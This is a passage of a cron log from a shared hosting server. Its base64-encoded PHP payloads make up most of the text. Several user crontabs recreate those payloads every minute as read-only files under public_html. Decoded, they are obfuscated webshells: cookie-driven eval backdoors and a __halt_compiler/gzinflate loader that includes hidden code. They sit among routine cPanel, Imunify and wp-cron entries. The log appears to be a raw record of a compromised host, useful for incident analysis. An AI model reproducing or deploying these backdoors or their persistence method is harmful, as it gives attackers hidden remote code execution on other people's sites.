"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:21:01 medusa CROND[1460]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:21:01 medusa CROND[1463]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:21:01 medusa CROND[1470]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:21:01 medusa CROND[1471]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 10:21:01 medusa CROND[1474]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:21:01 medusa CROND[1464]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 10:21:01 medusa CROND[1493]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:22:01 medusa CROND[20348]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 10:22:01 medusa CROND[20349]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:22:01 medusa CROND[20350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:22:01 medusa CROND[20353]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:22:01 medusa CROND[20352]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:22:01 medusa CROND[20361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:22:01 medusa CROND[20362]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:22:01 medusa CROND[20366]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:22:01 medusa CROND[20363]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:22:01 medusa CROND[20364]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:22:01 medusa CROND[20367]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:22:01 medusa CROND[20368]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:22:01 medusa CROND[20365]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 10:22:01 medusa CROND[20371]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 10:23:02 medusa CROND[8697]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:23:02 medusa CROND[8698]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 10:23:02 medusa CROND[8699]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:23:02 medusa CROND[8700]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:23:02 medusa CROND[8703]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:23:02 medusa CROND[8705]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:23:02 medusa CROND[8708]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; 